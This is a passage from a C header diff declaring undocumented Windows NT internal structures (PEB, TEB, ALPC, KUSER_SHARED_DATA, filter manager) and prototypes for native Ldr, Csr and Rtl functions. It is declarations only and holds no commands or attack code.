ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID AtlThunkSListPtr; + PVOID IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + PVOID ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + PVOID ReadOnlySharedMemoryBase; + PVOID HotpatchInformation; + PVOID *ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID *ProcessHeaps; + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ImageProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; + PVOID ProcessAssemblyStorageMap; + PVOID SystemDefaultActivationContextData; + PVOID SystemAssemblyStorageMap; + + SIZE_T MinimumStackCommit; + + PVOID *FlsCallback; + LIST_ENTRY FlsListHead; + PVOID FlsBitmap; + ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + PVOID pContextData; + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG SpareTracingBits : 30; + }; + }; +} PEB, *PPEB; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + UCHAR Alignment[4]; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH, *PGDI_TEB_BATCH; + +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + NTSTATUS ExceptionCode; + PVOID ActivationContextStackPointer; +#if defined(_M_X64) + UCHAR SpareBytes[24]; +#else + UCHAR SpareBytes[36]; +#endif + ULONG TxFsContext; + + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#if defined(_M_X64) + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + PVOID ThreadPoolData; + PVOID *TlsExpansionSlots; +#if defined(_M_X64) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SpareSameTebBits : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG SpareUlong0; + PVOID ResourceRetValue; +} TEB, *PTEB; + +typedef struct _PROCESS_DEVICEMAP_INFORMATION { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[32]; + } Query; + }; +} PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION; + +__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } + +/* +** PEB/TEB END +*/ + +/* +** ALPC START +*/ + +typedef struct _PORT_MESSAGE { + union { + struct { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + ULONG Length; + } u1; + union { + struct { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union { + CLIENT_ID ClientId; + double DoNotUseThisField; // Force quadword alignment + } u3; + ULONG MessageId; + union { + ULONG ClientViewSize; // Only valid on LPC_CONNECTION_REQUEST message + ULONG CallbackId; // Only valid on LPC_REQUEST message + } u4; + UCHAR Reserved[8]; +} PORT_MESSAGE, *PPORT_MESSAGE; + +// end_ntsrv + +typedef struct _PORT_DATA_ENTRY { + PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, *PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION { + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION; + +#define LPC_REQUEST 1 +#define LPC_REPLY 2 +#define LPC_DATAGRAM 3 +#define LPC_LOST_REPLY 4 +#define LPC_PORT_CLOSED 5 +#define LPC_CLIENT_DIED 6 +#define LPC_EXCEPTION 7 +#define LPC_DEBUG_EVENT 8 +#define LPC_ERROR_EVENT 9 +#define LPC_CONNECTION_REQUEST 10 + +#define PORT_VALID_OBJECT_ATTRIBUTES (OBJ_CASE_INSENSITIVE) +#define PORT_MAXIMUM_MESSAGE_LENGTH 256 + +typedef struct _LPC_CLIENT_DIED_MSG { + PORT_MESSAGE PortMsg; + LARGE_INTEGER CreateTime; +} LPC_CLIENT_DIED_MSG, *PLPC_CLIENT_DIED_MSG; + +//#pragma pack(push, 1) +typedef struct _PORT_VIEW { + ULONG Length; + HANDLE SectionHandle; + ULONG SectionOffset; + SIZE_T ViewSize; + PVOID ViewBase; + PVOID ViewRemoteBase; +} PORT_VIEW, *PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW { + ULONG Length; + SIZE_T ViewSize; + PVOID ViewBase; +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; +//#pragma pack(pop) +/* +** ALPC END +*/ + +/* +** KUSER_SHARED_DATA START +*/ + +typedef struct _KSYSTEM_TIME { + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, *PKSYSTEM_TIME; + +typedef enum _NT_PRODUCT_TYPE { + NtProductWinNt = 1, + NtProductLanManNt, + NtProductServer +} NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; + +#define PROCESSOR_FEATURE_MAX 64 + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE { + StandardDesign, // None == 0 == standard design + NEC98x86, // NEC PC98xx series on X86 + EndAlternatives // past end of known alternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +// +// Define Address of User Shared Data +// +#define MM_SHARED_USER_DATA_VA 0x000000007FFE0000 + +// +// WARNING: this definition is compatibility only. +// Structure is incomplete. Only important fields. +// +typedef struct _KUSER_SHARED_DATA_COMPAT { + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + volatile KSYSTEM_TIME InterruptTime; + volatile KSYSTEM_TIME SystemTime; + volatile KSYSTEM_TIME TimeZoneBias; + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + WCHAR NtSystemRoot[260]; + ULONG MaxStackTraceDepth; + ULONG CryptoExponent; + ULONG TimeZoneId; + ULONG LargePageMinimum; + + union { + ULONG Reserved2[7]; + struct { + ULONG AitSamplingValue; + ULONG AppCompatFlag; + struct { + ULONG LowPart; + ULONG HighPart; + } RNGSeedVersion; + ULONG GlobalValidationRunlevel; + ULONG TimeZoneBiasStamp; + ULONG ReservedField; + }; + }; + + NT_PRODUCT_TYPE NtProductType; + BOOLEAN ProductTypeIsValid; + ULONG NtMajorVersion; + ULONG NtMinorVersion; + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + ULONG Reserved1; + ULONG Reserved3; + volatile ULONG TimeSlip; + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + ULONG AltArchitecturePad; + LARGE_INTEGER SystemExpirationDate; + ULONG SuiteMask; + BOOLEAN KdDebuggerEnabled; + + union { + UCHAR MitigationPolicies; + struct { + UCHAR NXSupportPolicy : 2; + UCHAR SEHValidationPolicy : 2; + UCHAR CurDirDevicesSkippedForDlls : 2; + UCHAR Reserved : 2; + UCHAR Reserved6[2]; + }; + }; + + volatile ULONG ActiveConsoleId; + volatile ULONG DismountCount; + ULONG ComPlusPackage; + ULONG LastSystemRITEventTickCount; + ULONG NumberOfPhysicalPages; + BOOLEAN SafeBootMode; + UCHAR Reserved12[3]; + + union { + ULONG SharedDataFlags; + struct { + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled: 1; + ULONG DbgLkgEnabled : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgConsoleBrokerEnabled : 1; + ULONG DbgSecureBootEnabled : 1; + ULONG DbgMultiSessionSku : 1; + ULONG DbgMultiUsersInSessionSku : 1; + ULONG SpareBits : 22; + }; + }; + + //incomplete + +} KUSER_SHARED_DATA, *PKUSER_SHARED_DATA; + +#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)MM_SHARED_USER_DATA_VA) + +/* +** KUSER_SHARED_DATA END +*/ + +/* +** FLT MANAGER START +*/ + +#define FLTFL_MANDATORY_UNLOAD_IN_PROGRESS 0x1 +#define FLTFL_FILTERING_INITIATED 0x2 +#define FLTFL_NAME_PROVIDER 0x4 +#define FLTFL_SUPPORTS_PIPES_MAILSLOTS 0x8 + +#define FLT_OBFL_DRAINING 0x1 +#define FLT_OBFL_ZOMBIED 0x2 +#define FLT_OBFL_TYPE_INSTANCE 0x1000000 +#define FLT_OBFL_TYPE_FILTER 0x2000000 +#define FLT_OBFL_TYPE_VOLUME 0x4000000 + +typedef struct _FLT_OBJECT { + ULONG Flags; + ULONG PointerCount; + EX_RUNDOWN_REF RundownRef; + LIST_ENTRY PrimaryLink; +} FLT_OBJECT, *PFLT_OBJECT; + +typedef struct _FLT_SERVER_PORT_OBJECT { + LIST_ENTRY FilterLink; + PVOID ConnectNotify; + PVOID DisconnectNotify; + PVOID MessageNotify; + PVOID Filter; + PVOID Cookie; + ULONG Flags; + ULONG NumberOfConnections; + ULONG MaxConnections; +} FLT_SERVER_PORT_OBJECT, *PFLT_SERVER_PORT_OBJECT; + +/* +** FLT MANAGER END +*/ + +/* +** RTL START +*/ + +typedef NTSTATUS(*PUSER_PROCESS_START_ROUTINE)( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +typedef NTSTATUS(*PUSER_THREAD_START_ROUTINE)( + PVOID ThreadParameter + ); + +typedef struct _RTL_USER_PROCESS_INFORMATION { + ULONG Length; + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; + SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; + +// +// This structure is used only by Wow64 processes. The offsets +// of structure elements should the same as viewed by a native Win64 application. +// +typedef struct _RTL_USER_PROCESS_INFORMATION64 { + ULONG Length; + LONGLONG Process; + LONGLONG Thread; + CLIENT_ID64 ClientId; + SECTION_IMAGE_INFORMATION64 ImageInformation; +} RTL_USER_PROCESS_INFORMATION64, *PRTL_USER_PROCESS_INFORMATION64; + +/* +** RTL END +*/ + +/* +** LDR START +*/ + +typedef +VOID(NTAPI *PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION)( + _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry, + _In_ PVOID Context, + _Inout_ BOOLEAN *StopEnumeration + ); + +typedef +VOID (CALLBACK *PLDR_DLL_NOTIFICATION_FUNCTION)( + _In_ ULONG NotificationReason, + _In_ PCLDR_DLL_NOTIFICATION_DATA NotificationData, + _In_opt_ PVOID Context + ); + +NTSTATUS NTAPI LdrAccessResource( + _In_ PVOID DllHandle, + _In_ CONST IMAGE_RESOURCE_DATA_ENTRY* ResourceDataEntry, + _Out_opt_ PVOID *Address, + _Out_opt_ PULONG Size + ); + +NTSTATUS NTAPI LdrAddRefDll( + ULONG Flags, + PVOID DllHandle + ); + +NTSTATUS NTAPI LdrEnumerateLoadedModules( + _In_opt_ ULONG Flags, + _In_ PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION CallbackFunction, + _In_opt_ PVOID Context + ); + +NTSTATUS NTAPI LdrFindResource_U( + _In_ PVOID DllHandle, + _In_ CONST ULONG_PTR* ResourceIdPath, + _In_ ULONG ResourceIdPathLength, + _Out_ PIMAGE_RESOURCE_DATA_ENTRY *ResourceDataEntry + ); + +NTSTATUS NTAPI LdrFindEntryForAddress( + _In_ PVOID Address, + _Out_ PLDR_DATA_TABLE_ENTRY *TableEntry + ); + +NTSTATUS NTAPI LdrGetDllHandle( + _In_opt_ PCWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PCUNICODE_STRING DllName, + _Out_ PVOID *DllHandle + ); + +NTSTATUS NTAPI LdrGetProcedureAddress( + _In_ PVOID DllHandle, + _In_opt_ CONST ANSI_STRING* ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID *ProcedureAddress + ); + +NTSTATUS NTAPI LdrLoadDll( + _In_opt_ PCWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PCUNICODE_STRING DllName, + _Out_ PVOID *DllHandle + ); + +NTSTATUS NTAPI LdrQueryProcessModuleInformation( + _Out_ PRTL_PROCESS_MODULES ModuleInformation, + _In_ ULONG ModuleInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI LdrUnloadDll( + _In_ PVOID DllHandle + ); + +NTSTATUS NTAPI LdrRegisterDllNotification( + _In_ ULONG Flags, + _In_ PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + _In_opt_ PVOID Context, + _Out_ PVOID *Cookie + ); + +NTSTATUS NTAPI LdrUnregisterDllNotification( + _In_ PVOID Cookie + ); + +NTSTATUS NTAPI LdrResSearchResource( + _In_ PVOID File, + _In_ CONST ULONG_PTR* ResIds, + _In_ ULONG ResIdCount, + _In_ ULONG Flags, + _Out_ LPVOID *Resource, + _Out_ ULONG_PTR *Size, + _In_opt_ USHORT *FoundLanguage, + _In_opt_ ULONG *FoundLanguageLength + ); + +NTSTATUS NTAPI LdrOpenImageFileOptionsKey( + _In_ PCUNICODE_STRING ImagePathName, + _In_ BOOLEAN Wow64Path, + _Out_ PHANDLE KeyHandle +); + +NTSTATUS NTAPI LdrQueryImageFileExecutionOptions( + _In_ PCUNICODE_STRING ImagePathName, + _In_ PCWSTR OptionName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ResultSize + ); + +NTSTATUS NTAPI LdrQueryImageFileExecutionOptionsEx( + _In_ PCUNICODE_STRING ImagePathName, + _In_ PCWSTR OptionName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ResultSize, + _In_ BOOLEAN Wow64Path + ); + +NTSTATUS NTAPI LdrQueryImageFileKeyOption( + _In_ HANDLE KeyHandle, + _In_ PCWSTR OptionName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ResultSize + ); + +/* +** LDR END +*/ + +typedef PVOID PHEAD; + +typedef struct _HANDLEENTRY { + PHEAD phead; // Pointer to the Object. + PVOID pOwner; // PTI or PPI + BYTE bType; // Object handle type + BYTE bFlags; // Flags + WORD wUniq; // Access count. +} HANDLEENTRY, *PHANDLEENTRY; + +typedef struct _SERVERINFO { + WORD wRIPFlags; + WORD wSRVIFlags; + WORD wRIPPID; + WORD wRIPError; + ULONG cHandleEntries; + // incomplete +} SERVERINFO, *PSERVERINFO; + +typedef struct _SHAREDINFO { + PSERVERINFO psi; + PHANDLEENTRY aheList; + ULONG HeEntrySize; + // incomplete +} SHAREDINFO, *PSHAREDINFO; + +typedef struct _USERCONNECT +{ + ULONG ulVersion; + ULONG ulCurrentVersion; + DWORD dwDispatchCount; + SHAREDINFO siClient; +} USERCONNECT, *PUSERCONNECT; + +/* +** Csr Runtime START +*/ + +ULONG NTAPI CsrGetProcessId( + ); + +NTSTATUS NTAPI CsrClientConnectToServer( + _In_ PWSTR ObjectDirectory, + _In_ ULONG ServerDllIndex, + _Inout_ PVOID ConnectionInformation, + _Inout_ ULONG *ConnectionInformationLength, + _Out_ PBOOLEAN CalledFromServer +); + +/* +** Csr Runtime END +*/ + +/* +** Runtime Library API START +*/ + +NTSTATUS NTAPI RtlCreateEnvironment( + _In_ BOOLEAN CloneCurrentEnvironment, + _Out_ PVOID *Environment + ); + +NTSTATUS NTAPI RtlDestroyEnvironment( + _In_ PVOID Environment + ); + +NTSTATUS NTAPI RtlCreateProcessParameters( + _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData + ); + +NTSTATUS NTAPI RtlDestroyProcessParameters( + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +NTSTATUS NTAPI RtlCreateProcessParametersEx( + _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData, + _In_ ULONG Flags); + +NTSTATUS NTAPI RtlCreateUserProcess( + PUNICODE_STRING NtImagePathName, + ULONG Attributes, + PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + HANDLE ParentProcess, + BOOLEAN InheritHandles, + HANDLE DebugPort, + HANDLE ExceptionPort, + PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + +NTSTATUS NTAPI RtlCreateUserThread( + _In_ HANDLE Process, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_ BOOLEAN CreateSuspended, + _In_ ULONG StackZeroBits, + _In_opt_ SIZE_T MaximumStackSize, + _In_opt_ SIZE_T InitialStackSize, + _In_ PUSER_THREAD_START_ROUTINE StartAddress, + _In_opt_ PVOID Parameter, + _Out_opt_ PHANDLE Thread, + _Out_opt_ PCLIENT_ID ClientId + ); + +VOID NTAPI RtlExitUserThread( + IN NTSTATUS ExitStatus + ); + +VOID NTAPI RtlFreeUserThreadStack( + HANDLE hProcess, + HANDLE hThread + ); + +ULONG NTAPI RtlRandomEx( + _Inout_ PULONG Seed + ); + +PVOID NTAPI RtlAddVectoredExceptionHandler( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler + ); + +ULONG NTAPI RtlRemoveVectoredExceptionHandler( + _In_ PVOID Handle + ); + +VOID NTAPI RtlRaiseException( + _In_ PEXCEPTION_RECORD + ); + +VOID NTAPI RtlPushFrame( + _In_ PTEB_ACTIVE_FRAME Frame + ); + +VOID NTAPI RtlPopFrame( + _In_ PTEB_ACTIVE_FRAME Frame + ); + +PTEB_ACTIVE_FRAME NTAPI RtlGetFrame( + VOID + ); + +BOOLEAN NTAPI RtlCreateUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCWSTR SourceString + ); + +VOID NTAPI RtlInitUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_opt_ PCWSTR SourceString + ); + +BOOLEAN NTAPI RtlEqualUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +BOOLEAN NTAPI RtlPrefixUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +NTSTATUS NTAPI RtlGetVersion( + _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation + ); + +ULONG NTAPI RtlNtStatusToDosError( + _In_ NTSTATUS Status + ); + +NTSTATUS NTAPI RtlGetOwnerSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Owner, + _Out_ PBOOLEAN OwnerDefaulted + ); + +NTSTATUS NTAPI RtlGetGroupSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Group, + _Out_ PBOOLEAN GroupDefaulted + ); + +NTSTATUS NTAPI RtlGetDaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN DaclPresent, + _Out_ PACL *Dacl, + _Out_ PBOOLEAN DaclDefaulted + ); + +NTSTATUS NTAPI RtlGetSaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN SaclPresent, + _Out_ PACL *Sacl, + _Out_ PBOOLEAN SaclDefaulted + ); + +ULONG NTAPI RtlLengthSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +VOID NTAPI RtlMapGenericMask( + _In_ PACCESS_MASK AccessMask, + _In_ PGENERIC_MAPPING GenericMapping + ); + +VOID NTAPI RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +NTSTATUS NTAPI RtlExpandEnvironmentStrings( + _In_opt_ PVOID Environment, + _In_reads_(SrcLength) PWSTR Src, + _In_ SIZE_T SrcLength, + _Out_writes_opt_(DstLength) PWSTR Dst, + _In_ SIZE_T DstLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSTATUS NTAPI RtlExpandEnvironmentStrings_U( + _In_opt_ PVOID Environment, + _In_ PCUNICODE_STRING Source, + _Out_ PUNICODE_STRING Destination, + _Out_opt_ PULONG ReturnedLength + ); + +VOID NTAPI RtlSetLastWin32Error( + LONG Win32Error + ); + +NTSTATUS NTAPI RtlWow64EnableFsRedirection( + _In_ BOOLEAN Wow64FsEnableRedirection + ); + +NTSTATUS NTAPI RtlWow64EnableFsRedirectionEx( + _In_ PVOID DisableFsRedirection, + _Out_ PVOID *OldFsRedirectionLevel + ); + +PVOID NTAPI RtlEncodePointer( + PVOID Ptr + ); + +PVOID NTAPI RtlDecodePointer( + PVOID Ptr + ); + +typedef NTSTATUS +(NTAPI * PRTL_HEAP_COMMIT_ROUTINE)( + IN PVOID Base, + IN OUT PVOID *CommitAddress, + IN OUT PSIZE_T CommitSize + ); + +typedef struct _RTL_HEAP_PARAMETERS { + ULONG Length; + SIZE_T SegmentReserve; + SIZE_T SegmentCommit; + SIZE_T DeCommitFreeBlockThreshold; + SIZE_T DeCommitTotalFreeThreshold; + SIZE_T MaximumAllocationSize; + SIZE_T VirtualMemoryThreshold; + SIZE_T InitialCommit; + SIZE_T InitialReserve; + PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; + SIZE_T Reserved[2]; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + +PVOID NTAPI RtlCreateHeap( + _In_ ULONG Flags, + _In_opt_ PVOID HeapBase, + _In_opt_ SIZE_T ReserveSize, + _In_opt_ SIZE_T CommitSize, + _In_opt_ PVOID Lock, + _In_opt_ PRTL_HEAP_PARAMETERS Parameters + ); + +PVOID NTAPI RtlDestroyHeap( + _In_ PVOID HeapHandle + ); + +PVOID NTAPI RtlAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ SIZE_T Size + ); + +BOOLEAN NTAPI RtlFreeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress + ); + +BOOLEAN NTAPI RtlValidSid( + PSID Sid + ); + +BOOLEAN NTAPI RtlEqualSid( + PSID Sid1, + PSID Sid2 + ); + +BOOLEAN NTAPI RtlEqualPrefixSid( + PSID Sid1, + PSID Sid2 + ); + +ULONG NTAPI RtlLengthRequiredSid( + ULONG SubAuthorityCount + ); + +PVOID NTAPI RtlFreeSid( + IN PSID Sid + ); + +NTSTATUS NTAPI RtlAllocateAndInitializeSid( + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount, + IN ULONG SubAuthority0, + IN ULONG SubAuthority1, + IN ULONG SubAuthority2, + IN ULONG SubAuthority3, + IN ULONG SubAuthority4, + IN ULONG SubAuthority5, + IN ULONG SubAuthority6, + IN ULONG SubAuthority7, + OUT PSID *Sid + ); + +NTSTATUS NTAPI RtlInitializeSid( + PSID Sid, + PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + UCHAR SubAuthorityCount + ); + +PSID_IDENTIFIER_AUTHORITY NTAPI RtlIdentifierAuthoritySid( + PSID Sid + ); + +PULONG NTAPI RtlSubAuthoritySid( + PSID Sid, + ULONG SubAuthority + ); + +PUCHAR NTAPI RtlSubAuthorityCountSid( + PSID Sid + ); + +ULONG NTAPI RtlLengthSid( + PSID Sid + ); + +NTSTATUS NTAPI RtlCopySid( + ULONG DestinationSidLength, + PSID DestinationSid, + PSID SourceSid + ); + +NTSTATUS NTAPI RtlCopySidAndAttributesArray( + ULONG ArrayLength, + PSID_AND_ATTRIBUTES Source, + ULONG TargetSidBufferSize, + PSID_AND_ATTRIBUTES TargetArrayElement, + PSID TargetSid, + PSID *NextTargetSid, + PULONG RemainingTargetSidSize + ); + +NTSTATUS NTAPI RtlLengthSidAsUnicodeString( + PSID Sid, + PULONG StringLength + ); + +NTSTATUS NTAPI RtlConvertSidToUnicodeString( + PUNICODE_STRING UnicodeString, + PSID Sid, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS NTAPI 